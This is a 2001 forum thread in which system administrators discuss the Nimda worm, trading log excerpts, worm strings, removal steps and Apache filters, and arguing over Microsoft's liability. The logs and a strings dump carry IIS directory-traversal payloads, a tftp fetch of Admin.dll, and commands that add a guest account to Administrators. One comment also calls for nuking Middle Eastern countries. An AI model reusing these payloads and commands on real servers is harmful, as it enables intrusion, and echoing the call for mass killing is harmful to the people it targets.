Print #2, vbNewLine
For X = 0 To 23
Print #2, "Number of attacks in " & Trim(Str(X)) & "00 hours: " & AttackHour(X)
TotalAttacks = TotalAttacks + AttackHour(X)
Next X
Print #2, "Total Number of Attacks = " & Str(TotalAttacks)
Close #2
End Sub

Step 4: You can do what you wish with the Information, I e-mailed mine to CERT for tracking as requested on their site.

It's morons, not Microsoft that're responsible

[Jayde Stargunner]

Sorry, but I use IIS a lot. I'm an ASP developer, and we have tons of IIS boxes.

Were we hit by Code Red? Nope. Code Red II? Nope. This? Nope. ANY worm? Not a chance.

All these worms exploit SERIOUSLY OLD holes in IIS, of which patches have been release over 3-5 MONTHS ago. All of these pacthes are available via Windows Update, and show up with a "Critical Updates Notification" on the taskbar.

Anyone who runs ANY server but is 5 months behind on security updates is an absolute MORON, and deserves to be hit with a worm. It's easy to blame MS for all their "security holes", but folks...these have been patched for a while now...

-Jayde

Re:It's morons, not Microsoft that're responsible

[Mr Thinly Sliced]

> Anyone who runs ANY server but is 5 months
> behind on security updates is an absolute
> MORON, and deserves to be hit with a worm. It's
> easy to blame MS for all their "security
> holes", but folks...these have been patched for
> a while now...

Please explain how this helps the chap earlier in this thread who has to pay for his bandwidth (hes located in Australia from what I recall).

He's paying because these idiots are loose on the net with an operating system that _doesn't_ shield them from it.

And you know what, these people dont even know its a problem.

Thats what our gripe is with Microsoft, dummy, not that people dont patch. Of course you patch, if your a techie.

If you are like 'n' of my late twenty something graduate friends, you think ADSL is 'great' cos its always on. So I can leave the machine on.

I say 'IIS is in by default'

IIS is on by default?

Whats IIS?

Jesus.

Re:It's morons, not Microsoft that're responsible

[the eric conspiracy]

It's easy to blame MS for all their "security holes", but folks...these have been patched for a while now...

Well, yes a good sysadmin would apply the patches.

However not all the systems affected by Nimda are servers. Nimda also propagates by email, and over Windows shares. Are you expecting users to apply patches at the same level of diligence as a professional sysadmin?

In any case it is clear that Microsoft does bear a significant portion of the responsibility for the quality of their product regardless of the individuals who (mis)use it. And it seems to me that one could make a very good class action suit against Microsoft based on the lost time and bandwidth these worms have cost based on a negligence argument. After all, Microsoft has known about these flaws for months. What have they done to proactively inform their users about the defects in their software? Have they issued a recall? Send messages to their users via email?

As a sysadmin running a Linux site, I have NOT agreed to any shrinkwrap wavier of incedental or consequential damages Microsoft's software has caused me.

Between the Code Red and nimda incedents, my employer is out quite a few billable hours.

Re:It's morons, not Microsoft that're responsible

[Jayde Stargunner]

Please explain how this helps the chap earlier in this thread who has to pay for his bandwidth (hes located in Australia from what I recall).
He's paying because these idiots are loose on the net with an operating system that _doesn't_ shield them from it.
And you know what, these people dont even know its a problem.
Thats what our gripe is with Microsoft, dummy, not that people dont patch. Of course you patch, if your a techie.
If you are like 'n' of my late twenty something graduate friends, you think ADSL is 'great' cos its always on. So I can leave the machine on.

Perhaps I'm missing something here...
1) IIS is not installed by default on Windows 2000 Professional, just Server.
2) Why do you excuse people who installed IIS on their server, but can't patch it?
3) Who else am I missing??? IIS is only installed by default on SERVERS. Which gets back to my original point.

You make it sound like Microsoft shipped IIS with Windows ME or something. I can't think of a single situation where people could have IIS running with a GOOD excuse not to know about it. Anyone who DOES run server, or installed IIS manually is a MORON for not keeping up with security patches.

I fail to see how Microsoft should incur any liability for situations like this.

-Jayde

Re:It's morons, not Microsoft that're responsible

[Anonymous Coward]

1) IIS is not installed by default on Windows 2000 Professional, just Server.

IIS doesn't have to be installed for a machine to be infected with nimda.

2) Why do you excuse people who installed IIS on their server, but can't patch it?

How many of these have had IIS installed without their knowledge? MS software likes to do what it thinks is best for you, even if it's not what you asked for. Are you really saying that this is the users' own fault?

3) Who else am I missing??? IIS is only installed by default on SERVERS. Which gets back to my original point

You're missing the fact that you're trying to blame users for something which is entirely due to MS's reckless negligence. I would turn around your penultimate sentence - "anyone who ships software that has not had adequate QA is a moron". A negligent moron at that.

Do you work for MS?

Re:It's morons, not Microsoft that're responsible

[Jayde Stargunner]

How many of these have had IIS installed without their knowledge? MS software likes to do what it thinks is best for you, even if it's not what you asked for. Are you really saying that this is the users' own fault?

I have never, ever seen a circumstance where IIS was installed "on accident" by Win2K Pro. I have managed Win2K machines ever since the OS came out, and have never seen an instance where this is true. I'm not sure where you, and others, come up with this notion...

IIS may be installed by default on Windows 2000 Server. But, if you can't manage something like setting IIS up, or removing it (yes, ooohh, it takes what? 3 clicks from the control panel to remove IIS? Tough stuff.) you have NO BUSINESS admining a Windows Server in the first place. We're not talking workstation here--no Professional or ME/9x. IIS is only installed by default on Windows 2000 SERVER. (And, to be honest, I believe it is a setup option on install.)

You're missing the fact that you're trying to blame users for something which is entirely due to MS's reckless negligence. I would turn around your penultimate sentence - "anyone who ships software that has not had adequate QA is a moron". A negligent moron at that.

Yes, because SO many people use Windows 2000 Server without using IIS. :-P

Do you work for MS?

No.

-Jayde
Who is getting tired of responding to wuss AC's

Re:It's morons, not Microsoft that're responsible

[Anonymous Coward]

"I have never, ever seen a circumstance where IIS was installed "on accident" by Win2K Pro."

Apparently it installs during a Win98 upgrade if 'personal web server' was installed (common for FrontPage/MSO users and OEM installs from a certain vintage).

But I agree that *most* of the CodeRed problem after the first couple days was not 'servers' but people who had warezed a server version of W2K for home use and have no idea that IIS was installed and running.

Grrrr

[mnordstr]

[Tue Sep 18 22:48:51 2001] [error] [client 212.152.179.213] File does not exist: /var/www/html/ftlight.net/www/undercon/msadc/..%5c ../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/ cmd.exe
[Tue Sep 18 22:48:51 2001] [error] [client 212.152.179.213] File does not exist: /var/www/html/ftlight.net/www/undercon/scripts/..Á ../winnt/system32/cmd.exe
[Tue Sep 18 22:48:52 2001] [error] [client 212.152.179.213] File does not exist: /var/www/html/ftlight.net/www/undercon/scripts/..À ../winnt/system32/cmd.exe
[Tue Sep 18 22:48:52 2001] [error] [client 212.152.179.213] File does not exist: /var/www/html/ftlight.net/www/undercon/scripts/..Á ../winnt/system32/cmd.exe
[Tue Sep 18 22:48:52 2001] [error] [client 212.152.179.213] File does not exist: /var/www/html/ftlight.net/www/undercon/scripts/..% 5c../winnt/system32/cmd.exe
[Tue Sep 18 22:48:52 2001] [error] [client 212.152.179.213] File does not exist: /var/www/html/ftlight.net/www/undercon/scripts/..% 2f../winnt/system32/cmd.exe

My Apache log should not look like that!!!!
I've been hit 1500 times in less than 6 hours! This is what terrorist attacks look like when their target is the web.

All hail M$ for their pice of bandwidth generating ****.

It's drivers not the tyre manufacturers that're re

[Anonymous Coward]

Sorry, but I use Fords a lot. I'm a commercial driver, and we have tons of Fords.

have we had a high speed blowout? Not a chance.

This problem is SERIOUSLY OLD holes in tyres, for which patches have been release over 3-5 MONTHS ago. All of these patches are available via your local dealer.

Anyone who runs ANY Ford but is 5 months behind on tyre updates is an absolute MORON, and deserves to crash. It's easy to blame Firestone for all their "security holes", but folks...these have been patched for a while now...

First Hits

[Anonymous Coward]

My first hit with this worm appears at 09:40:21 -0500 from the IP 65.3.211.164. If we get enough people to see when the first hit occured, we might be able to get an idea of where it originated.

Re:First Hits

[Anonymous Coward]

I beat you. My first hit was 09:20:58 -0400
from IP 208.176.111.130. Anyone earlier?

Re:First Hits

[Anonymous Coward]

In my company it happened at 9.30 am EST from 209.125.82.20

Re:First Hits

[PorscheBxterS]

66.124.28.16 - - [18/Sep/2001:09:12:27 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282 "-" "-"

Re:First Hits

[puzzlecraft]

I was first hit @ 09:24:43 BUT my web host co's clock is about 5 min 50 sec fast, so it was really around 9:19 AM - from 209.223.211.196 On Aug 26 I had a single hit for "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir " - may be a coincidence ... this from 203.109.250.95

Re:First Hits

[smack_attack]

site referrer remote_host starttime pagecount pages
www Direct 63.112.252.2 2001-09-18 09:18:29 1 /scripts/root.exe?/c+dir?1000819109

Time is EDT

Re:First Hits

[cryosis]

My first was at 18/Sep/2001 08:14:31. Was from 216.167.27.123. Hope this all leads to something.

Re:First Hits

[Anonymous Coward]

9:08:34 EST w/ an accurate clock.

Prior ida attempt at 9:00:24 but it's by itself so I think it's unrelated.

216.190.53.XX address crossing over into a 216.46.XX.XX class address.

Next barrage 1 & 1/2 minutes later from a 216.136.20.xxx address.

Hosed machines are running a tftp deamon

[sup4hleet]

From a Unix machine I checked my logs for probes from hosed machines. Then

prompt> tftp ip.address.of.machine

tftp> bin

tftp> get autoexec.bat

file recieved someKb in blah:time

tftp>quit

if you edit the autoexec.bat file you just nabbed, you'll see it's not a batch file at all but some sort of binary. Weird stuff, just thought I'd share. Also this only works on about 75% of the compromised machines for some reason, the rest just time out on transfer. Thoughts?

Re:Time for a class action lawsuit against Microso

[Reality Master 101]

I don't necessarily disagree with a lot of what you're saying, but you're going over the edge with these...

In the case of IIS, Microsoft claimed that it was secure.

Show me a quote where Microsoft claims that their software is perfect. No software is perfectly secure (e.g., wuFTP, my personal favorite that caused my system to be cracked). Show me perfect software, and I will show you a Hello World program. And don't try and tell me that OSS is perfect, I know better.

In the case of their e-mail client (Outlook/Outlook Express), who in their right mind would write an e-mail client that executed code (vbscript, etc.) enclosed in an e-mail?

I would. Just because a lot of people want to live in a world of green screens and monofonts doesn't mean everyone wants to live in the past. I like being able to open a document that someone e-mails me without having to save it off somewhere.

Not to say that these things shouldn't have better security, but there is absolutely no question that mail readers should allow attachments to be executed. Personally, I would like to see a "sandbox" concept applied to opening e-mail attachments.

strings of the file it downloads

[alien88]

Not sure if this has been posted yet, but here's the strings of the file.. i only removed the characters that had nothing to do with it:

!This program cannot be run in DOS mode.
O

--====_ABC0987654321DEF_====--
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID:
--====_ABC1234567890DEF_====
NUL=
[rename]
\wininit.ini
Personal
LoadLibraryA
GetSystemTime
ExitProcess
HeapDestroy
GetLastError
HeapCreate
WritePrivateProfileStringA
KERNEL32.dll
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
RegEnumKeyExA
RegCreateKeyExA
RegDeleteKeyA
RegEnumValueA
RegSetValueExA
RegQueryValueA
ADVAPI32.dll
System\CurrentControlSet\Services\VxD\MSTCP
NameServer
SYSTEM\CurrentControlSet\Services\Tcpip\Paramete rs \Interfaces\
SYSTEM\CurrentControlSet\Services\Tcpip\Paramete rs \Interfaces
Concept Virus(CV) V.5, Copyright(C)2001 R.P.China
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="
--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

--====_ABC0987654321DEF_====--
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID:
--====_ABC1234567890DEF_====
NUL=
[rename]
\wininit.ini
Personal
Software\Microsoft\Windows\CurrentVersion\Explor er \Shell Folders
\*.*
EXPLORER
fsdhqherwqi2001
SYSTEM\CurrentControlSet\Services\lanmanserver\S ha res\Security
share c$=c:\
user guest ""
localgroup Administrators guest /add
localgroup Guests guest /add
user guest /active
open
user guest /add
HideFileExt
ShowSuperHidden
Hidden
Software\Microsoft\Windows\CurrentVersion\Explor er \Advanced
\\%s
%ld %ld %ld
%ld %ld
Image Space Exec Write Copy
Image Space Exec Read/Write
Image Space Exec Read Only
Image Space Executable
Image Space Write Copy
Image Space Read/Write
Image Space Read Only
Image Space No Access
Mapped Space Exec Write Copy
Mapped Space Exec Read/Write
Mapped Space Exec Read Only
Mapped Space Executable
Mapped Space Write Copy
Mapped Space Read/Write
Mapped Space Read Only
Mapped Space No Access
Reserved Space Exec Write Copy
Reserved Space Exec Read/Write
Reserved Space Exec Read Only
Reserved Space Executable
Reserved Space Write Copy
Reserved Space Read/Write
Reserved Space Read Only
Reserved Space No Access
Process Address Space
Exec Write Copy
Exec Read/Write
Exec Read Only
Executable
Write Copy
Read/Write
Read Only
No Access
Image
User PC
Thread Details
ID Thread
Priority Current
Context Switches/sec
Start Address
Thread
Page Faults/sec
Virtual Bytes Peak
Virtual Bytes
Private Bytes
ID Process
Elapsed Time
Priority Base
Working Set Peak
Working Set
% User Time
% Privileged Time
% Processor Time
Process
Counter 009
software\microsoft\windows nt\currentversion\perflib\009
Counters
Version
Last Counter
software\microsoft\windows nt\currentversion\perflib
/scripts
/MSADC
/scripts/..%255c..
/_vti_bin/..%255c../..%255c../..%255c..
/_mem_bin/..%255c../..%255c../..%255c..
/msadc/..%255c../..%255c../..%255c/..%c1%1c../.. %c 1%1c../..%c1%1c..
/scripts/..%c1%1c..
/scripts/..%c0%2f..
/scripts/..%c0%af..
/scripts/..%c1%9c..
/scripts/..%%35%63..
/scripts/..%%35c..
/scripts/..%25%35%63..
/scripts/..%252f..
/root.exe?/c+
/winnt/system32/cmd.exe?/c+
net%%20use%%20\\%s\ipc$%%20""%%20/user:"guest"
tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20
Admin.dll
c:\Admin.dll
d:\Admin.dll
e:\Admin.dll
window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
/Admin.dll
GET %s HTTP/1.0
Host: www
Connnection: close
readme
main
index
default
html
.asp
.htm
\readme.eml
.exe
winzip32.exe
riched20.dll
.nws
.eml
.doc
.exe
% Privileged Time
% Processor Time
Process
Counter 009
software\microsoft\windows nt\currentversion\perflib\009
Counters
Version
Last Counter
software\microsoft\windows nt\currentversion\perflib
/scripts
/MSADC
/scripts/..%255c..
/_vti_bin/..%255c../..%255c../..%255c..
/_mem_bin/..%255c../..%255c../..%255c..
/msadc/..%255c../..%255c../..%255c/..%c1%1c../.. %c 1%1c../..%c1%1c..
/scripts/..%c1%1c..
/scripts/..%c0%2f..
/scripts/..%c0%af..
/scripts/..%c1%9c..
/scripts/..%%35%63..
/scripts/..%%35c..
/scripts/..%25%35%63..
/scripts/..%252f..
/root.exe?/c+
/winnt/system32/cmd.exe?/c+
net%%20use%%20\\%s\ipc$%%20""%%20/user:"guest"
tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20
Admin.dll
c:\Admin.dll
d:\Admin.dll
e:\Admin.dll
window.open("readme.eml", null, "resizable=no,top=6000,left=6000")
/Admin.dll
GET %s HTTP/1.0
Host: www
Connnection: close
readme
main
index
default
html
.asp
.htm
\readme.eml
.exe
winzip32.exe
riched20.dll
.nws
.eml
.doc
.exe
dontrunold
ioctlsocket
gethostbyname
gethostname
inet_ntoa
inet_addr
ntohl
htonl
ntohs
htons
closesocket
select
sendto
send
recvfrom
recv
bind
connect
socket
__WSAFDIsSet
WSACleanup
WSAStartup
ws2_32.dll
MAPILogoff
MAPISendMail
MAPIFreeBuffer
MAPIReadMail
MAPIFindNext
MAPIResolveName
MAPILogon
MAPI32.DLL
WNetAddConnection2A
WNetCancelConnection2A
WNetOpenEnumA
WNetEnumResourceA
WNetCloseEnum
MPR.DLL
ShellExecuteA
SHELL32.DLL
RegisterServiceProcess
VirtualFreeEx
VirtualQueryEx
VirtualAllocEx
VirtualProtectEx
CreateRemoteThread
HeapCompact
HeapFree
HeapAlloc
HeapDestroy
HeapCreate
KERNEL32.DLL
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
Type
Remark
SOFTWARE\Microsoft\Windows\CurrentVersion\Networ k\ LanMan\X$
Parm2enc
Parm1enc
Flags
Path
SOFTWARE\Microsoft\Windows\CurrentVersion\Networ k\ LanMan\
SOFTWARE\Microsoft\Windows\CurrentVersion\Networ k\ LanMan
SYSTEM\CurrentControlSet\Services\lanmanserver\S ha res
Cache
Software\Microsoft\Windows\CurrentVersion\Explor er \MapMail
QUIT
Subject:
From:
DATA
RCPT TO:
MAIL FROM:
HELO
aabbcc
-dontrunold
NULL
\readme*.exe
admin.dll
qusery9bnow
-qusery9bnow
\mmc.exe
\riched20.dll
boot
Shell
explorer.exe load.exe -dontrunold
\system.ini
\load.exe
octet

Microsoft incompetence

[Anonymous Coward]

Microsoft incompetence may finally be becoming a threat to national security

Microsoft Personal Webserver possibility...

[racklifj]

Anyone have any clues on whether the personal webserver used by Frontpage and such has the folder traversal exploit. We are trying to root out any workstation problem software as well as be sure servers are patched and protected.

They even have a tool to do that now!

[Bake]

I tried it the other day on my laptop with IIS 5.0. Well, not only left my IIS tight up and secure, it left it so secure that it wouldn't even serve pages.

Link here.

ERROR: POINT BEING MISSED

[Jas26785]

Yeah, but does the poor sod he hits when he blows off the road deserve to crash as well?

This is the point. Are you still missing it?

Apache on Linux Workaround

[Anonymous Coward]

My sysem has been locking up as it has run out of resources. (apachee on Red Hat Linux).

I started to work around this with a script to restart my apache server every 5 minutes, but now it seems that if I just lower my timeouts to nothing (1 second) and turn off keepalives it has enough resources to cope.

-GReg

Microsoft: Scripts are usually safe.

[daveking]

While looking for the best IE5 "Security Settings" to recommend to our Windows users, I ran across this wonderful nugget of Microsoft wisdom:

"Scripts are usually safe. Do you want to allow scripts to run?"

To reproduce:

Set Tools | Internet Options | Security | Custom Level | Scripting | Active Scripting = Prompt

Go to an infected server (like http://dkb3.dkbnet.com)

Notice that it gives no other clues about what is going on. Nothing.

Microsoft worm.......

[PC-PAUL]

This is really annoying, if you look in your inetpub directory you see files like tftp0101 and so on and they keep getting added. Also when I first noticed the problem the default.htm file had a javaapp in there to automatically display a download box to download README.EXE another virus that my Mcafee didn't pick up and I even had the latest superdat.....

Why not tell them that they are infected?

[The Fred]

There worm-viruses seem to exploit IIS which exists on NT and 2000 servers. Well, if you are on NT or 2000, you can go into your command prompt and type "net send YOU HAVE BEEN INFECTED WITH A VIRUS, PLEASE REMOVE IMMEDIATLY"

This message (HAVE BEEN INFECTED WITH A VIRUS, PLEASE REMOVE IMMEDIATLY) will pop-up on the computer who owns the incoming ip. This is great fun because the people on the other end probably think a hacker is in their computer or something.

This is all assuming you have a method of viewing incoming requests on port 80. I use a router which has a log so I just check that and send a few messages out to the ip's that seem to be requesting more than once.

This method is also good for impressing your girlfriend at your 1337 h4x0r 5k1ll5.

NUKE AFGHANISTAN

[Anonymous Coward]

Nuke Afghanistan, Palestine, Iraq, Syria, Iran, Lebanon, Sudan, Algeria, UAE, Saudi Arabia, Turkmenistan, Pakistan, um... fuck it the whole Middle East and NE Africa. Nuke it all. Burn those bitches alive.

And I guarantee these silly Virus/Worms will magically disappear.

What's a bookmarklet?

[jonabbey]

.. for those of us who have never used IE?

Yes!!

[outZider]

I'm sure someone has posted this, and it's not complete, but it'll make your day easier.

I've figured this worm out. You see, today, hosting machines running Windows NT 4 or Windows 2000 are getting FUCKED UP by a worm called nimda. I've isolated how to remove this -- it appears to be working fine. So, if you're a Windows user running IIS, double check for this shit!

Do a find for *.eml, and remove all of them.
Do a find for Admin.dll (should be in the root folder of all of your drives -- C:, D:, etc.), and remove or rename them for safekeeping.
Edit %Systemroot%\System32\etc\services, and find the entry for "tftp". It's routed to port 69/udp. Route it to 0/udp. This will deactivate the service. Windows protects the tftp app, so you can't remove it. So, nullroute it!

Reboot your machine, make sure you're patched with the latest Critical Updates.

Laugh at the incoming requests.

I need to sleep. NT hacking whilst sick sucks my ass.

Re:Time for a class action lawsuit against Microso

[tswinzig]

Do we really have to argue this all over again? It will never happen. If you want to know why, go back and re-read the Code Red discussion on Slashdot.

Summary: Microsoft did not write the virus. Microsoft patched the flaw over a year ago. Microsoft has made every attempt to patch known flaws. Microsoft makes every effort to notify known administrators about problems as they arise.

The real cause of the problem is braindead users that don't patch their systems. Sue them, if you'd like.

Is this infecting patched boxen?

[Anonymous Coward]

Our network is running several win2K servers, only one of which has gotten infected. That box was upgraded from NT4 to 2K, after which it had all the proper security patches applied. Yet, it still got infected. Anybody have a clue why? (and don't tell me we didn't put the patches in right.)

worm removal

[carrie n.]

i dont know if this is helpful to anyone, but this is how i got rid of the worm(still am not 100% sure how to prevent infection).

1) first update win2000 to service pack 2 if you dont already have it. Download all critical fixes and security patches.

2) Then stop all IIS sites and physically unplug your network connection.

3) Run regedit and search for readme.eml and readme.exe. Delete all references to them. ALSO, in one of the registry groups you will find both of these keys next to eachother. They will also be next to admin.dll and root.exe. In this group only, delete the admin.dll and root.exe keys.

4) Run a file search from the start menu. Search for readme.eml on all drives and make sure to search subdirectories too. Don't click on any of the files that show up(for me if you even single click they will run). Instead do a Ctrl-A and then Shift-Ctrl-Del to delete all of them. Do the same for any readme.exe files you may find. Now search for root.exe and admin.dll. Both of these files are required windows files so don't automatically delete them. However, the worm will probably copy them to your IIS script directories which is bad. So if they show up in any IIS script or web directories(Inetpub/scripts for example) make sure to delete them.

5) Empty your recycle bin.

6) Reboot.

7) run steps 3-6 until you no longer find any traces of these files in the registry or on your machine.

8) Should be good now so you can reconnect your machine to the net and start up IIS sites.

after everything is cleaned out there will still be some traces you should get rid of. for one, it will put hacked splash pages in your default web server directories so delete any such pages(index.htm, index.html, default.asp, etc.). Also the worm adds a javascript line to the end of .htm, .html, and .asp files which creates a popup on the client machine. This popup runs the readme.exe file and spreads the virus to clients. Since you deleted all of the .eml files it wont find anything but you still want to get rid of this empty popup. So, use ultraedit or homesite or any other text editor to do a massive search and replace to remove the following line:

<html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script> </html>

Re:worm removal

[Anonymous Coward]

it also does you the favor of placing the guest account (with no password) in the administrator group so you might want to undo that as well!

Re:worm removal

[Anonymous Coward]

Don't have time to create an account, late for work.
Anyway, something I noticed on my Win2k box is it destoryed the Riched32.dll file and replaced it with it's own. I believe each time something called this dll, the virus propogated my box with something like 3k *.eml files. In desperation, I completely deleted this Dll, plus everything in the Outlook Express folder. After battling this thing for about 7 hours now, I think I killed it.
All quite right now.

I have been searching my registry for the keys others have, and they do not exsist. Wondering if this thing can morph somehow, because during one spawn, It loaded *.nws files all over the place. I did NOT, repeat, DID NOT have the issue with spawning to network shares, thank god.

9:31:58, atomic time!

[Alt_Cognito]

I'm seeing hits from strictly default.ida type attacks only as early as the 5th. And from the 5th to the 18th, I don't see many requests at all. (Maybe 15 or so) Which makes me think it's code red or some other variant.

I begin to see the more common cmd.exe root.exe requests only today, started at 9:30. Perhaps if we can trace the exact time of the hits, we can localize the source, though that seems somewhat farfetched.

Re:9:31:58, atomic time!

[Scratch-O-Matic]

The hits I mentioned definitely weren't code red...no default.ida nor the charactaristic xxxxxxx. These hits were virtually identical to the thousands of NIMDA hits I've gotten today, but they were on 10 September.

Re:What doesn't kill us will only make us stronger

[bee-yotch]

MS software isn't the only software with holes. Linux has a few itself, as well as every other OS.

Maybe already said but

[qadmon]

now more than ever the internet is a valuable needed resource. It needs hardening up for the upcoming possible terrorist attacks to the most easily accessed piece of our infrastructure.

I can see that running all MS servers and browsers can render it all trash eaily with perhaps the right virus/worm.

The need is for diversity and perhaps blacklisting many middle eastern ips or portals. Can't someone blackhole Peshwar and that cybercafe?

Worm check out hit on Aug 26????

[puzzlecraft]

My website log shows the following "GET"

203.109.250.95 - - [26/Aug/2001:03:53:04 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"

may just be a coincidence.

John

Re:Time for a class action lawsuit against Microso

[fmaxwell]

Do we really have to argue this all over again?

No. You could simply admit that I am right or choose not to participate. Either one is fine by me.

Summary: Microsoft did not write the virus.

So what? They are still liable for product flaws. Suppose that your bank had a flaw on their web page that let anyone find your credit card number. Would you say that they were not to blame if someone exploited that flaw and used your credit card?

Microsoft patched the flaw over a year ago.

Not true. Microsoft made a patch available to those that knew about it. "Patched" would mean that they actively installed the patch.

Microsoft has made every attempt to patch known flaws.

Not true. There are many flaws in their "Knowledge Base" that have never been patched -- some of which are related to security.

Microsoft makes every effort to notify known administrators about problems as they arise.

Absolutely not true. The way you make the public aware of a product defect is to send registered owners mail (with a stamp -- not e-mail). Microsoft has not done this. Instead, they put notices up on their web pages and relied on users checking for patches regularly -- even though they know that most never do.

If Microsoft can send you snail mail telling you that they want to sell you a new version of Visual C++, they can send you a CD-ROM with patches for severe security flaws in the OS that they sold to you.

Re:Time for a class action lawsuit against Microso

[More Trouble]

Careful what you wish for. Do you really want to establish a precedence that sez all software developers are libel for the worms others create? I'm guessing you don't write much code.

:w

quick observation

[junkee2000]

if you go to the Symantec Link for info in the "W32.Nimda" worm, go check out the Symantec home page and the Windows XP compatability section. I am noticing an alarming trend forming here. There is a new logo for WinXP compatability for companies to stick on their boxes. Buts wait, read the rest under the "coveted compatability logo"... This product is compatable with: WinXP Home/WinXP Pro/2000PRO/NT4 WS/ME/98/95 I can't wait till the windows 2010 release, when you go buy a Dell, the whole front panel will be a friggin huge WINDOWS XBlahX logo. There won't be any room left for the people that actually make the product you bought on their boxes, books, computers...etc., to state what the product is. It will take all that space to show which window(s) it is compatable with. I just need to sit down and learn linux.

source IPs

[Anonymous Coward]

I'm seeing it from 204.x.x.x, 209.x.x.x, and 66.x.x.x at the moment - that's from the logs of a server that's got a 204.- IP.

I'm not at home and don't remember my p/w, sorry.

WinZip was aparently hit

[Prep]

I guess this is why I don't use outlook to check my email: I just got an email from "beta@winzip.com" with the nimda readme.exe file attached. Joy. And I was just starting to forget why I should have a personal email account and a spam account.

Apache solution

[the way]

To minimise the amount of work Apache has to do when hit by an infected host, if you run mod_perl add these lines to your httpd.conf:
----
<Perl>
{
package Apache::Vermicide;
use Apache::Constants qw(:common :response);
sub handler {
my $r = shift;
if ($r->uri() =~ /root\.exe|cmd\.exe|default\.ida/i) {
$r->push_handlers(PerlLogHandler => sub { return BAD_REQUEST });
return BAD_REQUEST;
}
return OK;
}
}
</Perl>
PerlPostReadRequestHandler Apache::Vermicide
----
Thanks to Nathan Torkington for this code.

Re:Apache solution

[Hoonis]

Great stuff, thanks for posting it (and thanks
to nathan too!)

rate of worm

[edscott]

My server normally runs from 1-2 K hits per hour. With this new worm variant has it in the 5K+/hour range. And it's coming from all over the place.

Startling discovery relating to this virus:

[man_ls]

I think that this was planted in addition to the physical destruction of the NYC towers. My base for this is the autoreply from an infected person:

I am not able to check email with any regularity at this time. Please forgive any delays in responding to you. If you are responding to the request for assistance after the World Trade Center disaster, thank you! The support that we have received from the national I.T. community has been overwhelming. We received over a thousand offers of assistance and equipment in less than twenty-four hours! What we thought would be sent to five or six people has made it from sea to shining sea, awesome is the power of the internet. What we really need MOST at the moment is time... time to sort through what has been offered and to reassess our needs. Please forgive us if we can't respond right away and please don't forward our message at this time. I don't know how else to thank you all for your compassion and generosity but I feel privileged to be part of the I.T. community, a community in every sense of the word.

Perhaps a malicious person planted the viruses that send emails with subjects such as ware\Microsoft\WindoJb4 "supertrak66bclass11_28hlaconsoleapplication2data consoleapplication1consoleapplication1supertrak66b servicesuntitled - 1ultrabudgetciscostuffconsoleapplication2pitou-0co nsoleapplication2_debug6b-01-000226 while "helping" at the World Trade Center? This is not intended to be flamebait, but a serious observation from data that I've gathered. If you don't think it's worthy of notice, don't mod it down, just don't mod it. J.W. Koebel

Re:Time for a class action lawsuit against Microso

[tswinzig]

So what? They are still liable for product flaws.

In your opinion...

Suppose that your bank had a flaw on their web page that let anyone find your credit card number. Would you say that they were not to blame if someone exploited that flaw and used your credit card?

Apples and Oranges. If you want to make it apples and apples, I would not blame my bank, but instead the software company that created their operating system, or the person or group of people that wrote their CGI scripts. After all, the bank just maintains the PC's, they don't write the software themselves, correct?

Not true. Microsoft made a patch available to those that knew about it. "Patched" would mean that they actively installed the patch.

Wrong. I did not say Microsoft patched ALL SERVERS. I said Microsoft patched THE FLAW. In other words, they wrote a patch that fixes the flaw. They posted this notice to their list (which anyone can subscribe to) that dispenses security notices. They posted this news on their website. And I'm sure they will increase notifications due to this latest threat.

You probably think the gun manufacturers should be sued because someone shoots someone with a gun, right?

Absolutely not true. The way you make the public aware of a product defect is to send registered owners mail (with a stamp -- not e-mail).

This would make ZERO DIFFERENCE. Why? Because the people that are the cause of this problem don't bother to register their software. How exactly could Microsoft reach these clueless morons?

If Microsoft can send you snail mail telling you that they want to sell you a new version of Visual C++, they can send you a CD-ROM with patches for severe security flaws in the OS that they sold to you.

First of all, I run many servers running IIS. I've probably only registered a handful of them. We buy the software not from Microsoft but from third parties. I very rarely receive mailed ads from Microsoft.

So you're of the opinion that the same people that receive ads from Microsoft are the same people running IIS on their machines and haven't patched it?

The problem here is joe-blow not keeping his machine secured.

Dear whoever is in charge of naming these things:

[splattertrousers]

From now on, can we include the word "Microsoft" in all Microsoft-related virii and worms?

Like "Microsoft IIS Worm #400" or "Microsoft Outlook Virus #194"?

Maybe Microsoft will start patching up their crap if their name is associated with these things.

My firewall does not log any of this.

[hearingaid]

I run a stripped-down Apache on the gateway machine.

In my httpd.conf:

NameVirtualHost *

<VirtualHost *>
ServerAdmin loki@twwol.dyndns.org
ServerName dummy.twwol.dyndns.org
RewriteEngine on
RewriteRule ^(.*) http://www.twwol.dyndns.org$1 [R,L]
</VirtualHost>

This does two things.

The important thing that I like about it is that it forces any requests to *.twwol.dyndns.org that don't match any of my hosts to get forwarded to the main www address, because the dummy host is first. (DynDNS allows for a wildcard feature; lookup any *.twwol.dyndns.org and you get my gateway; connect to port 80 and you wake up Apache, which then determines which host you really wanted and forwards the request inwards to the LAN (via a ProxyPass directive).

The other nice thing that I like about it is that it totally blocks access from bots that don't know the right name of my machines (which, naturally, you can't get from gethostbyaddr, since my DSL provider gives me my Official hostname). This includes, for example, Code Red worms; they connect to my gateway, get a 302, and wander along. Since I don't have a global CustomLog directive (I provide CustomLog directives for each of the real hosts), there's no logs kept for the annoying little Code Red worms.

